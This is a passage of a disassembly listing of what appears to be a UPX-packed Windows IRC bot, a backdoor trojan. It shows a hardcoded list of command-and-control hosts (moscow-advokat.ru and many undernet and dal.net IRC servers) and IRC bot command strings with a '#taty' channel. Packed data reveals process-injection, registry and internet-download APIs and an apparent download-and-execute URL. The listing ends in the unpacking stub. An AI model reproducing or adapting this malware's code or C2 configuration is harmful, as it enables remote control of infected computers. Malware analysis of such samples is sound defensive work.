XREF: sub_315026C2+B7o unicode 0, <1>,0 dword_31505CF8 dd 206h, 2400h, 31415352h, 800h, 10001h, 0A495BDEFh, 0DD499F8Eh ; DATA XREF: sub_3150283F+3Ao dd 64DB1F45h, 0DE5B5C5h, 23CBE2AAh, 63639922h, 7318481Ch dd 749AC3F2h, 4D855620h, 0AD0FE1CCh, 691506D3h, 0A8FD8D37h dd 700B1698h, 45504FCEh, 324A3914h, 5C10E3EFh, 0DFBDD847h dd 371EBA84h, 8B817380h, 7D4A0DF5h, 2DFE92E0h, 0C699C9C5h dd 9C85E020h, 6A5068BDh, 8250B629h, 7F42C334h, 1C980811h dd 9CE7B7B2h, 3D77899Dh, 0A4D3971Ah, 0A58D5029h, 8D463A96h dd 1612E8FCh, 44AF10EBh, 0D0F84570h, 0B178966Ah, 0EB51439Fh dd 7086A827h, 0DE098A39h, 0C1A1C214h, 0BF167A53h, 611A85C4h dd 9829E70Fh, 8966209Eh, 0CB1FE53h, 0ECCA9407h, 0A11E75A3h dd 0B4E8F91Dh, 1A4ECBC5h, 69D7F0DBh, 8C1A8739h, 18C67B94h dd 3EB38213h, 0E0424BBFh, 8400EB67h, 0AA60B737h, 22D7D8B3h dd 7A650480h, 86FF4BA6h, 0F6458558h, 56EEF96Eh, 32002FC9h dd 0B7A63B4Ah, 0EBD3D87Ah aCont db 'cont',0 ; DATA XREF: sub_31502826+3o align 4 off_31505E14 dd offset aMoscowAdvokat_ ; DATA XREF: UPX0:315034C8r ; UPX0:3150351Ar ; "moscow-advokat.ru" dd offset aGraz_at_eu_und ; "graz.at.eu.undernet.org" dd offset aFlanders_be_eu ; "flanders.be.eu.undernet.org" dd offset aCaen_fr_eu_und ; "caen.fr.eu.undernet.org" dd offset aBrussels_be_eu ; "brussels.be.eu.undernet.org" dd offset aLosAngeles_ca_ ; "los-angeles.ca.us.undernet.org" dd offset aWashington_dc_ ; "washington.dc.us.undernet.org" dd offset aLondon_uk_eu_u ; "london.uk.eu.undernet.org" dd offset aLia_zanet_net ; "lia.zanet.net" dd offset aGaspode_zanet_ ; "gaspode.zanet.org.za" dd offset aDiemen_nl_eu_u ; "diemen.nl.eu.undernet.org" dd offset aLulea_se_eu_un ; "lulea.se.eu.undernet.org" dd offset aCoins_dal_net ; "coins.dal.net" dd offset aBroadway_ny_us ; "broadway.ny.us.dal.net" dd offset aOzbytes_dal_ne ; "ozbytes.dal.net" dd offset aVancouver_dal_ ; "vancouver.dal.net" dd offset aViking_dal_net ; "viking.dal.net" dd offset aCed_dal_net ; "ced.dal.net" dd offset aQis_md_us_dal_ ; "qis.md.us.dal.net" aQis_md_us_dal_ db 'qis.md.us.dal.net',0 ; DATA XREF: UPX0:31505E5Co align 4 aCed_dal_net db 'ced.dal.net',0 ; DATA XREF: UPX0:31505E58o aViking_dal_net db 'viking.dal.net',0 ; DATA XREF: UPX0:31505E54o align 10h aVancouver_dal_ db 'vancouver.dal.net',0 ; DATA XREF: UPX0:31505E50o align 4 aOzbytes_dal_ne db 'ozbytes.dal.net',0 ; DATA XREF: UPX0:31505E4Co aBroadway_ny_us db 'broadway.ny.us.dal.net',0 ; DATA XREF: UPX0:31505E48o align 4 aCoins_dal_net db 'coins.dal.net',0 ; DATA XREF: UPX0:31505E44o align 4 aLulea_se_eu_un db 'lulea.se.eu.undernet.org',0 ; DATA XREF: UPX0:31505E40o align 4 aDiemen_nl_eu_u db 'diemen.nl.eu.undernet.org',0 ; DATA XREF: UPX0:31505E3Co align 4 aGaspode_zanet_ db 'gaspode.zanet.org.za',0 ; DATA XREF: UPX0:31505E38o align 4 aLia_zanet_net db 'lia.zanet.net',0 ; DATA XREF: UPX0:31505E34o align 4 aLondon_uk_eu_u db 'london.uk.eu.undernet.org',0 ; DATA XREF: UPX0:31505E30o align 4 aWashington_dc_ db 'washington.dc.us.undernet.org',0 ; DATA XREF: UPX0:31505E2Co align 4 aLosAngeles_ca_ db 'los-angeles.ca.us.undernet.org',0 ; DATA XREF: UPX0:31505E28o align 4 aBrussels_be_eu db 'brussels.be.eu.undernet.org',0 ; DATA XREF: UPX0:31505E24o aCaen_fr_eu_und db 'caen.fr.eu.undernet.org',0 ; DATA XREF: UPX0:31505E20o aFlanders_be_eu db 'flanders.be.eu.undernet.org',0 ; DATA XREF: UPX0:31505E1Co aGraz_at_eu_und db 'graz.at.eu.undernet.org',0 ; DATA XREF: UPX0:31505E18o UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00003000 ( 12288.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00006000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31506000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing aMoscowAdvokat_ db 'moscow-advokat.ru',0 ; DATA XREF: UPX0:off_31505E14o ; UPX1:31508401o align 4 aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31502CB7+1Co align 10h aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31502CB7+Co align 4 aUserS8S db 'USER %s 8 * :%s',0Dh,0Ah,0 ; DATA XREF: sub_31502DEC+1C4o align 10h aAlready db 'already',0 ; DATA XREF: sub_31502DEC+133o aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_31502DEC+D9o ; sub_31502DEC+165o align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_31502DEC+9Co align 10h aPongS db 'PONG%s',0Dh,0Ah,0 ; DATA XREF: sub_3150302E+4Fo align 4 aPing db 'PING',0 ; DATA XREF: sub_3150302E+Co ; sub_315030B1:loc_31503153o align 4 a451 db '451',0 ; DATA XREF: sub_315030B1+8Eo aJoinS db 'JOIN %s',0Dh,0Ah,0 ; DATA XREF: sub_315030B1+16o align 4 aQuitS db 'QUIT %s',0Dh,0Ah,0 ; DATA XREF: sub_31503183+2Co align 10h aPrivmsgSS db 'PRIVMSG %s %s',0Dh,0Ah,0 ; DATA XREF: sub_315032FA+3Bo aTaty db '#taty',0 ; DATA XREF: UPX0:3150356Ao align 4 a13 db '13',0 ; DATA XREF: UPX0:31503460o align 4 a_: ; DATA XREF: UPX0:31503455o unicode 0, <_>,0 aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_31503608+13o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_31503722+2E8o align 4 aQ: ; DATA XREF: sub_31503722+2C3o unicode 0, <q>,0 aDD13SD db '%d,%d,13%s,%d',0 ; DATA XREF: sub_31503722+29Do align 10h aI: ; DATA XREF: sub_31503722+253o unicode 0, <i>,0 asc_31506124: ; DATA XREF: sub_31503722+23Ao unicode 0, <|>,0 aE: ; DATA XREF: sub_31503722+146o unicode 0, <e>,0 a1D db '-1,%d',0 ; DATA XREF: sub_31503722+78o align 4 dd 9 dup(0) dword_31506158 dd 0 ; sub_31501BA8+80w dword_3150615C dd 0 ; sub_31501BA8+2Dw ... dword_31506160 dd 0 ; sub_31501A62:loc_31501B10r ... dword_31506164 dd 68h ; UPX0:31501D40w ... dword_31506168 dd 0 ; sub_31501D96+33w dword_3150616C dd 8 dup(0) dword_3150618C dd 0 ; sub_31502277+20r dword_31506190 dd 31500000h ; UPX0:31501D25w dword_31506194 dd 0 ; sub_315021B0+53o ... dword_31506198 dd 0 ; UPX0:31502326w ... word_3150619C dw 0 ; DATA XREF: sub_315020C4+3Br ; sub_31502128:loc_31502189r ... align 10h dword_315061A0 dd 0 ; sub_315026C2+110w ... dword_315061A4 dd 0 ; UPX0:31503553w ... dword_315061A8 dd 0 ; sub_31503722+E8r ... dword_315061AC dd 8 dup(0) ; sub_31503722+Ao dword_315061CC dd 38Dh dup(0) dd 0C4h, 40h, 74736C01h, 706D6372h, 47010041h, 6F4C7465h dd 656C6163h, 6F666E49h, 53010041h, 75437465h, 6E657272h dd 72694474h, 6F746365h, 417972h, 69725701h, 69466574h dd 100656Ch, 53746547h, 65747379h, 6D69546Dh, 53010065h dd 65747379h, 6D69546Dh, 466F5465h, 54656C69h, 656D69h dd 72695601h, 6C617574h, 65657246h, 69560100h, 61757472h dd 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh, 6C694665h dd 6D614E65h, 1004165h, 7274736Ch, 69706D63h, 47010041h dd 79537465h, 6D657473h, 65726944h, 726F7463h, 1004179h dd 7274736Ch, 41746163h, 6F430100h, 69467970h, 41656Ch dd 6E695701h, 63657845h, 72430100h, 65746165h, 6C6F6F54h dd 706C6568h, 6E533233h, 68737061h, 100746Fh, 636F7250h dd 33737365h, 72694632h, 1007473h, 6D726554h, 74616E69h dd 6F725065h, 73736563h, 72500100h, 7365636Fh, 4E323373h dd 747865h, 74736C01h, 79706372h, 43010041h, 74616572h dd 65764565h, 41746Eh, 69615701h, 726F4674h, 676E6953h dd 624F656Ch, 7463656Ah, 65440100h, 6574656Ch, 656C6946h dd 47010041h, 614C7465h, 72457473h, 726F72h, 69784501h dd 6F725074h, 73736563h, 736C0100h, 656C7274h, 100416Eh dd 65656C53h, 6C010070h, 63727473h, 416E7970h, 65470100h dd 72754374h, 746E6572h, 636F7250h, 737365h, 74654701h dd 636F7250h, 72646441h, 737365h, 616F4C01h, 62694C64h dd 79726172h, 57010041h, 65746972h, 636F7250h, 4D737365h dd 726F6D65h, 43010079h, 65736F6Ch, 646E6148h, 100656Ch dd 6E65704Fh, 636F7250h, 737365h, 74654701h, 75646F4Dh dd 6148656Ch, 656C646Eh, 47010041h, 69547465h, 6F436B63h dd 746E75h, 65724301h, 4D657461h, 78657475h, 43010041h dd 74616572h, 72685465h, 646165h, 65724301h, 50657461h dd 65636F72h, 417373h, 74655301h, 6E657645h, 4F010074h dd 456E6570h, 746E6576h, 45010041h, 54746978h, 61657268h dd 49010064h, 7265746Eh, 6B636F6Ch, 6E496465h, 6D657263h dd 746E65h, 61655201h, 6C694664h, 47010065h, 69467465h dd 6953656Ch, 100657Ah, 61657243h, 69466574h, 41656Ch dd 0D100h, 0 dd 72430100h, 43747079h, 74616572h, 73614865h, 43010068h dd 74707972h, 68736148h, 61746144h, 72430100h, 56747079h dd 66697265h, 67695379h, 7574616Eh, 416572h, 79724301h dd 65447470h, 6F727473h, 73614879h, 43010068h, 74707972h dd 74736544h, 4B796F72h, 1007965h, 70797243h, 6C655274h dd 65736165h, 746E6F43h, 747865h, 79724301h, 63417470h dd 72697571h, 6E6F4365h, 74786574h, 43010041h, 74707972h dd 6F706D49h, 654B7472h, 52010079h, 72436765h, 65746165h dd 4579654Bh, 1004178h, 53676552h, 61567465h, 4565756Ch dd 1004178h, 51676552h, 79726575h, 756C6156h, 41784565h dd 65520100h, 65704F67h, 79654B6Eh, 417845h, 67655201h dd 656C6544h, 61566574h, 4165756Ch, 65520100h, 6F6C4367h dd 654B6573h, 41010079h, 74726F62h, 74737953h, 68536D65h dd 6F647475h, 416E77h, 0DE00h, 0F800h, 74610100h, 100696Fh dd 6E617461h, 69730100h, 6301006Eh, 100736Fh, 5F48455Fh dd 6C6F7270h, 100676Fh, 78435F5Fh, 61724678h, 6148656Dh dd 656C646Eh, 73010072h, 68637274h, 73010072h, 70637274h dd 73010079h, 61637274h, 5F010074h, 65637865h, 685F7470h dd 6C646E61h, 337265h, 72747301h, 727473h, 6E617201h, 73010064h dd 646E6172h, 656D0100h, 7970636Dh, 74730100h, 6E656C72h dd 656D0100h, 7465736Dh, 0E90000h, 13C0000h, 77010000h dd 69727073h, 4166746Eh, 65470100h, 726F4674h, 6F726765h dd 57646E75h, 6F646E69h, 46010077h, 57646E69h, 6F646E69h dd 1004177h, 57746547h, 6F646E69h, 72685477h, 50646165h dd 65636F72h, 64497373h, 0F40000h, 1500000h, 49010000h dd 7265746Eh, 4F74656Eh, 556E6570h, 416C72h, 746E4901h dd 656E7265h, 65704F74h, 100416Eh, 65746E49h, 74656E72h dd 64616552h, 656C6946h, 6E490100h, 6E726574h, 65477465h dd 6E6F4374h, 7463656Eh, 74536465h, 657461h, 10000h, 16400h dd 12FF00h, 0FF0008FFh, 2FF0073h, 0DFF00h, 0FF0001FFh dd 6FFF0039h, 0BFF00h, 0FF0034FFh, 0CFF0017h, 9FF00h, 0FF0004FFh dd 10FF0013h, 16FF00h, 3FFh, 0 dd 4550h, 2014Ch, 40D3275Dh, 2 dup(0) dd 10F00E0h, 6010Bh, 3400h, 1200h, 0 dd 1D18h, 1000h, 5000h, 31500000h, 1000h, 200h, 4, 0 dd 4, 0 dd 7000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 3B68h, 8Ch, 14h dup(0) dd 1000h, 1B0h, 6 dup(0) dd 7865742Eh, 74h, 3330h, 1000h, 3400h, 400h, 3 dup(0) dd 0E0040020h, 7461642Eh, 61h, 11CDh, 5000h, 1200h, 3800h dd 3 dup(0) dd 0C0000040h, 6000h, 3DA4h, 652Ch, 0C48BC800h, 0BC4B56DDh dd 8BE18B0Ch, 0C371406Ah, 23231C47h, 5182363h, 9F080C14h dd 4232323h, 8410FC00h, 7CF83A10h, 107C777Eh, 0E8B81078h dd 6EFBE9BBh, 0B8E6B56h, 0D01D0CECh, 163B40B8h, 27EFBAE9h dd 930520CCh, 1308E719h, 0CD180701h, 57850802h, 0F7C90B07h dd 2F2B0096h, 0BE4A0030h, 4EE0E2E7h, 41601F57h, 57D93758h dd 9ED0h, 443FFFBh, 746858EBh, 2F3A7074h, 3732312Fh, 0FF01302Eh dd 31BFFD91h, 3030383Ah, 652E652Fh, 0DF6578h, 697A6F4Dh dd 6D616C6Ch, 2FDBFFFFh, 5DDF2734h, 0B966C933h, 758D01F1h dd 8AFE8B05h, 7993C06h, 0FF8ADF46h, 302C06BFh, 88993446h dd 0EDE24707h, 0DAE80AEBh, 65622EFAh, 0FF6FFF67h, 93712EFBh dd 1201C999h, 0FD91BDFDh, 72C10716h, 0FD42AA68h, 10FDAA66h dd 0FBADD8BAh, 0A91C14F7h, 0F3C91A98h, 8608F198h, 10C57102h dd 0FFD9FD87h, 37CB5F90h, 1C965992h, 0E4143A78h, 0A7D7157h dd 0F6DF7D3Ah, 0F34571C9h, 8904F19Dh, 9C04F109h, 0CE91FEC7h dd 67B44011h, 10F0E3F3h, 0B20BD11Ch, 0F7FB1B59h, 0C99B6076h dd 14D90125h, 0CA17A204h, 0F9647F99h, 688D2B58h, 1AAE9161h dd 1D966661h, 0DADEDB11h, 50B22867h, 149900C8h, 265557DCh dd 0DBBDBF12h, 0C0A44E3Fh, 99491291h, 54F7EDh, 0CA3AC414h dd 0FBBB0FCBh, 1C3C71D9h, 21E424FFh, 0CDCDCF1Ah, 0F72C668Fh dd 8166D93Fh, 0B0FB133Fh, 0CDC383B8h, 64A85D12h, 0C96CDF3Bh dd 0AE251DCBh, 93FD0C24h, 485AFEC9h, 14C096A6h, 0A7294C1Ch dd 609CF3EBh, 0BA9767EFh, 0F43416EAh, 0DBF57126h, 0FFF77ECDh dd 0EF133BF9h, 376B4629h, 4766DE5Fh, 0B7AAA8ECh, 8519F0ABh dd 1FFFF90h, 0EDFFC5B7h, 0FDE9ECE9h, 0FCE1FCB7h, 0F6FFC999h dd 0F55BBE5Fh, 0F2E9FCFCh, 0FCF7EBFCh, 0D9ABAAF5h, 0AAF934C7h dd 9F25B459h, 2AFF97FDh, 0ACC9662Ah, 0B7819093h, 83639D90h dd 9271CDC9h, 3519BF30h, 0C2FBB083h, 95DC1451h, 2A91720Ah dd 0D2EEC871h, 0FFFFEDFFh, 80D512A5h, 0AA529AE1h, 2A8D146Fh dd 12B9C89Ah, 474A9A8Bh, 0AB9E5958h, 0A319DB9Bh, 6FFFFEDFh dd 0A26CEC20h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h, 1FBDC812h dd 0EB8D2E96h, 0FFE68584h, 9A85D812h, 99D125Ah, 0F8105A9Ah dd 0B725D599h, 49FFDDB7h, 0FEFD7F66h, 5AA98712h, 850295C2h dd 91048212h, 0A89BF35Ah, 0CFF7CB6Dh, 53FF855Dh, 8F72424Dh dd 1874485Dh, 0FE85C853h, 2006206h, 0FFFFF1ADh, 4E204350h dd 4F575445h, 50204B52h, 52474F52h, 31204D41h, 0FFFB17CDh dd 414CF6B1h, 0A024D4Eh, 646E6957h, 2073776Fh, 20726F66h dd 2DD60357h, 676B7F6Dh, 70756F72h, 611A330Eh, 5E234D27h dd 32E96C3Eh, 32322158h, 4E312E32h, 6F92054h, 2018DA6Bh dd 0A470323Ch, 50BB738Bh, 0A07192Bh, 5123FF0Ch, 7D8363h dd 140A1104h, 0BBD40520h, 0CABB5BE8h, 4B4C0069h, 505353h dd 0FB829756h, 8C91EDFh, 240057E0h, 64006Eh, 77006Fh, 0F6F63A73h dd 30749B62h, 398C0901h, 3233500h, 1D44B6E6h, 0DA00072Eh dd 644E7901h, 0DA2008ABh, 92649A87h, 26039F57h, 6D8360C8h dd 47234601h, 73FF4007h, 60F23h, 1F011006h, 0E0888A15h dd 0FF600048h, 4FE5FFh, 6A198144h, 49E4F27Ah, 30AF281Ch dd 67107425h, 214FE153h, 0DF5C44DFh, 4003075h, 2DAE6BAFh dd 5ABD075Ch, 8D615C08h, 4D75DC8Dh, 36072Eh, 30772E38h dd 0DB7BAF61h, 0EC00491Bh, 3B240043h, 2D63003Fh, 64CF201Fh dd 4DC08A2h, 0E41EC240h, 0FF16BFh, 0E00DEDEh, 19F1600h dd 37EF2602h, 28404261h, 8B110319h, 0B868DECBh, 0D374D96Ch dd 2A630070h, 0BE4296DBh, 9F256B9Ch, 75480E10h, 43D81DDh dd 5413541Bh, 0FB9F265Ah, 5963D6DCh, 0CBC75C22h, 5876545h dd 0F3483B55h, 10030B00h, 110B848h, 349FFFFBh, 286A0105h dd 0B10C3919h, 0A89B11D0h, 0D94FC000h, 655FF52Eh, 5D1FF85Fh dd 1CEB8A88h, 0E89F11C9h, 48102B3Ch, 9F25D160h, 0F40CEC8Bh dd 0CA060A3h, 790F200Ch, 0CB10CA0h, 4EFFBE00h, 880CA08Eh dd 90040h, 703ECh, 49E11EC1h, 4F401495h, 0BF40707Ch, 0B2297B22h dd 13430700h, 3FF09E79h, 138578h, 0E9A65BABh, 2FF81013h dd 273C635h, 230EFEFFh, 30C1D240h, 84083658h, 0E4F24388h dd 10B97DD3h, 0B801FFEEh, 0F2200C10h, 0AD793661h, 0F7F070Dh dd 0E59F25D8h, 70011815h, 90060F84h, 0F84790Fh, 2000F95h dd 0FC9E4D87h, 6C0F847Fh, 0C89A000Fh, 0A884AADEh, 0CA13436Fh dd 1F8C093Fh, 50586E69h, 3C725020h, 0C0A6DBh, 39014446h dd 0C93C6B32h, 123C844Fh, 41027515h, 7B220053h, 941C840Dh dd 0AFFF9B01h, 0C606EB1Ch, 73255C5Ch, 6370695Ch, 9F816624h dd 0ECFFF97Fh, 0E4FF071Ch, 44655300h, 67756265h, 6C697669h dd 41656765h, 0B266DB64h, 73756AFFh, 6B6F5474h, 73176E65h dd 75126F4Ch, 927F76FDh, 6C615670h, 17416575h, 6F28704Fh dd 2FFE0C63h, 347324B6h, 76646143h, 33697061h, 12E2AEE3h dd 6574757Fh, 13316D72h, 0BB036932h, 65A37F12h, 72545F15h dd 39577961h, 0EF72431Bh, 65DBEDDCh, 65521E61h, 54056F6Dh dd 56140C68h, 6E747269h, 75B6D6EDh, 5328415Ch, 520F7845h dd 5F466E72h, 4B35D67Ah, 4822F3F5h, 83505454h, 89712FDEh dd 5B322040h, 0D4B4F20h, 0DBFD010Ah, 6F4BFDADh, 2D02446Eh dd 7467044Ch, 25203A68h, 2961ED75h, 282F189Bh, 0F4B97954h dd 266B7DB6h, 696C70A7h, 15698563h, 0A32D782Fh, 0CB77EED8h dd 6D6F632Dh, 65CD7270h, 5BDF5764h, 0D4FF28h, 544547h dd 11640266h, 0DD2BFDA1h, 6D9573D7h, 0B1637673h, 6DA2DDD7h dd 65017765h, 5F320F08h, 0FDCCDCE6h, 34317517h, 507F703h dd 9A696E07h, 3132032Eh, 0D8133930h, 38B3937Bh, 2306781Fh dd 0C9BDC07h, 4F303132h, 7F7F7529h, 0BB2098FBh, 52455355h dd 4E084449h, 65849h, 48217B59h, 253AE8A1h, 0C5A7CD64h dd 53FFF2F6h, 5754464Fh, 5C455241h, 736F694Dh, 0DD5CC36Fh dd 0B783F0D6h, 7275435Ch, 0C8560972h, 0B55CFE73h, 52C3E142h dd 7953BC75h, 0F25290FDh, 0E7A1877Fh, 6664579Ah, 6E687361h dd 6473647Ah, 76D6126Ch, 77495313h, 5C573F61h, 0ED860A1h dd 528B396Ch, 0B44B0D57h, 39C23D6h, 667120F5h, 0F70E86EFh dd 76206769h, 38761BFDh, 9D326576h, 67B9B64Bh, 10532064h dd 0B81B6544h, 1421B237h, 1B17235Ch, 9B325C3Fh, 42004CABh dd 0AC91203Fh, 3D9F1A35h, 0B01EBF23h, 654AD42h, 69443792h dd 6DBB9E73h, 66EE7694h, 9C6D672Fh, 6C2FF62Ah, 632463C9h dd 7974690Ah, 6E614D20h, 58C5E91Eh, 31C91AB1h, 0C59DB48Ch dd 5234D376h, 80E4153h, 0FFFFEFBCh, 0A4C11BFFh, 0DD499F8Eh dd 64DB1F45h, 0DE5B5C5h, 23CBE2AAh, 63639922h, 7318481Ch dd 0EDFFFFFFh, 8C9AC3F2h, 0CC4D8556h, 0D3AD0FE1h, 37691506h dd 98A8FD8Dh, 0CE700B16h, 1445504Fh, 0F837FFFFh, 0EF324A39h dd 0D847AEE3h, 0BA84DFBDh, 7380371Eh, 0DF58B81h, 92E07D4Ah dd 0E8DFFFFFh, 0B8C52DFEh, 85E020C6h, 5068BD9Ch, 50B6296Ah dd 42C33482h, 9808117Fh, 0FFFFFFFFh, 0E7B7B21Ch, 77899D9Ch dd 0D3971A3Dh, 8D5029A4h, 463A96A5h, 12E8FC8Dh, 0AF10EB16h dd 0F8457044h, 0FFFFFFEAh, 78966AD0h dd 51439FB1h, 86A827EBh, 98A3970h, 0A1C214DEh, 167A53C1h dd 9785C4BFh, 0A0DFA378h, 9829E70Fh, 53899E9Eh, 940724FEh dd 0FFFFFFFFh, 75A3ECCAh, 0F91DA11Eh, 0CBC5B4E8h, 0F0DB1A4Eh dd 873969D7h, 7B948C1Ah, 821318C6h, 4BBF3EB3h, 0F02FFFFFh dd 0EB67E042h, 60B737B2h, 0D7D8B3AAh, 65048022h, 0FF4BA67Ah dd 45855886h, 0FC1BFFA6h, 0EEF96EF6h, 3290C956h, 0B7A63B4Ah dd 0EBD3D87Ah, 97EE4263h, 0F7041888h, 31505FE8h, 0A69A03CCh dd 98B49A69h, 2C3C5878h, 69B2CD34h, 0DC5EF814h, 34D3B4CCh dd 90A4D34Dh, 0B607480h, 7142E96Dh, 5B6D2E9Fh, 6CDC0575h dd 0A7685B24h, 0B700492Eh, 96B60D64h, 6BC52C2Dh, 611C67ADh dd 0DB01F06Eh, 2C7586D8h, 7A6F2F72h, 70DB7962h, 41D9ACBCh dd 0A4147262h, 0AD600C79h, 58796C25h, 0D6674A38h, 0CA6B46F1h dd 732E61B6h, 84277578h, 6EC73A36h, 3D2E1646h, 6D80B067h dd 2FCA468Eh, 51C6C28h, 6734BB7Bh, 116F701Ah, 13617A2Eh dd 0CF1B66C3h, 61FE3309h, 401A5F13h, 676F8E6Eh, 776B7543h dd 675DBD90h, 1F74D85Eh, 1FA56364h, 0FCA9EB59h, 2D736F6Ch dd 0A72E5861h, 6BADB220h, 0AB75E35Bh, 0BE62166Ch, 0B6BB253Dh dd 7266B92Fh, 4A616C66h, 0EEC09FEh, 61726733h, 74612E7Ah dd 6D0B8180h, 7736876Dh, 7DBBDA2Dh, 1EE5AE6Ah, 6362CB75h dd 0BF676621h, 7FDB0BEAh, 6D6C6B6Ah, 71706F6Eh, 77927452h dd 0DA7A7978h, 0F95FFE58h, 44434241h, 48474645h, 4E4B4A49h dd 7B5751FCh, 544058A1h, 5A59581Ah, 0F5ADB81Bh, 77A08152h dd 0B62A2038h, 2140E907h, 0FF8C6702h, 0F60C4BCBh, 4B43CA56h dd 26501320h, 0F66E9553h, 4E4F0B64h, 490B0A47h, 0FA5DAC3Fh dd 92353407h, 2F0C4F4Ah, 54495551h, 24816B6Fh, 477B561Ah dd 0B6E5F766h, 74231163h, 841779B5h, 0C0E0075Fh, 20A202CBh dd 0BED6F328h, 6203E85Dh, 34203B64h, 36204549h, 0B060915h dd 0B41EAC30h, 70164035h, 29EC5Fh, 371776Bh, 0CEBA2C61h dd 4D02E6B5h, 690F075Ch, 8127C03h, 2D6569B7h, 0A6C71331h dd 0C48A08BBh, 0FFEE4009h, 6C01FF97h, 63727473h, 4741706Dh dd 6F4C7465h, 656C6163h, 6F666E49h, 56715B0Fh, 44525394h dd 452E6309h, 797F14B7h, 65595715h, 588A4746h, 9E303483h dd 0BD9A6954h, 0E6DB997h, 206F540Bh, 0ED65A015h, 4146000Ch dd 3C42BF0Ch, 4D3F0DF6h, 2DAC646Fh, 0B016614Eh, 8E412D93h dd 7E5E4169h, 6F40AEFh, 4309DF1Fh, 1E79706Fh, 387BFEE4h dd 456E6993h, 81516578h, 0ED06FFF6h, 9A6C6F7Eh, 53323370h dd 7370616Eh, 19746F68h, 0A0CDADDDh, 723212D3h, 5540F73h dd 0C641AD73h, 0F6182C35h, 2180FB06h, 7478654Eh, 54727068h dd 7867CB6Ch, 0FF087645h, 538B4661h, 42B7B9B1h, 624F7BE4h dd 4414996Ah, 0A136796h, 4CB715CFh, 0CAC94561h, 263A15ADh dd 6378452Fh, 7B61DBB2h, 5C6E2354h, 65706506h, 5F092C97h dd 2E6E4711h, 0D8A06F12h, 64410B3Fh, 140F7264h, 7262694Ch dd 84B60C28h, 4D2B8961h, 8DC4625h, 5FAB1F67h, 100E4865h dd 9F874496h, 0C2E16CCBh, 701D166Ch, 476B63A2h, 6D61D12Dh dd 4DE57275h, 366C78DFh, 0C4F39289h, 45986A0Dh, 0E193198h dd 7B0E8162h, 31E91943h, 0DB639249h, 6BE48376h, 630A6465h dd 522D6D13h, 70C9785Dh, 45083A1Bh, 0C426657Ah, 3D5E8613h dd 5868D100h, 15EECDA1h, 1A747079h, 710C4B2h, 0A2FB6CDh dd 0E611244h, 0C3057BECh, 79666976h, 3CCA6746h, 0B7B016D5h dd 578F10A1h, 112C796Fh, 0BEC1866Dh, 1079654Bh, 651EB252h dd 178763F9h, 4114EF3Eh, 69757163h, 871A1672h, 8F494D0Dh dd 0B9B6745Ch, 0C13AF759h, 0EF0D9267h, 3B0E1041h, 3E0D2194h dd 90EC510Fh, 350AD6B0h, 98302511h, 2D0466C5h, 0E19E1021h dd 5FB5458Eh, 0F5696241h, 0C34D6853h, 0AF8B1446h, 0F8DE136Eh dd 3B77E5DDh, 5696F78h, 69736E61h, 0B6EF6304h, 736FCBF6h dd 5F48455Fh, 6744DC70h, 78435F0Bh, 98263878h, 0E74C6C4Ah dd 83936B81h, 768627Dh, 2A427970h, 9A15BB3Bh, 5FDDCFE2h dd 29332868h, 1CD7399Bh, 11727473h, 5B49060Dh, 6D6C31CCh dd 0AC0FBA36h, 0D9B6B774h, 3CE9946Ch, 7C737701h, 1966748Bh dd 5219A682h, 5639651Bh, 3AA29168h, 0BD8146Fh, 1B366331h dd 0C7290B21h, 5383B669h, 0F44F6449h, 0F6D83B50h, 35A78AE0h dd 11417355h, 5B01196Ch, 1B114E0Eh, 5D3706A6h, 77936EBBh dd 0C5D55753h, 525574A2h, 0B2CBA564h, 2125B2Ch, 0D027308h dd 0B2CB2C01h, 0B6F392Ch, 2CB21734h, 90CB2CBh, 54101304h dd 16CA00CFh, 46455057h, 2FA025F5h, 0D3275DB7h, 9ACF0340h dd 0F001FEDh, 6010B01h, 1312340Ch, 98D81D18h, 30E5017Bh dd 0DD0B3135h, 2C0092Ch, 700C076Bh, 25B99D81h, 710341Eh dd 0B258E58Ah, 3B680306h, 176C28Ch, 0B0647FC2h, 53581E01h dd 42EBA75h, 0C1903303h, 34360608h, 0C837C0C4h, 0E004F4EDh dd 0FB90642Eh, 271211CDh, 48586E0Ah, 0C03838h, 61800060h dd 33D205Bh, 1962Ch, 0 dd 0FF2000h, 2 dup(0) ; --------------------------------------------------------------------------- pusha mov esi, offset aMoscowAdvokat_ ; "moscow-advokat.ru" lea edi, [esi-5000h] push edi or ebp, 0FFFFFFFFh jmp short loc_31508422 ; --------------------------------------------------------------------------- align 8 loc_31508418: ; CODE XREF: UPX1:loc_31508429j mov al, [esi] inc esi mov [edi], al inc edi loc_3150841E: ; CODE XREF: UPX1:315084B6j ; UPX1:315084CDj add ebx, ebx jnz short loc_31508429 loc_31508422: ; CODE XREF: UPX1:31508410j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31508429: ; CODE XREF: UPX1:31508420j jb short loc_31508418 mov eax, 1 loc_31508430: ; CODE XREF: UPX1:3150843Fj ; UPX1:3150844Aj add ebx, ebx jnz short loc_3150843B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3150843B: ; CODE XREF: UPX1:31508432j adc eax, eax add ebx, ebx jnb short loc_31508430 jnz short loc_3150844C mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31508430 loc_3150844C: ; CODE XREF: UPX1:31508441j xor ecx, ecx sub eax, 3 jb short loc_31508460 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_315084D2 mov ebp, eax loc_31508460: ; CODE XREF: UPX1:31508451j add 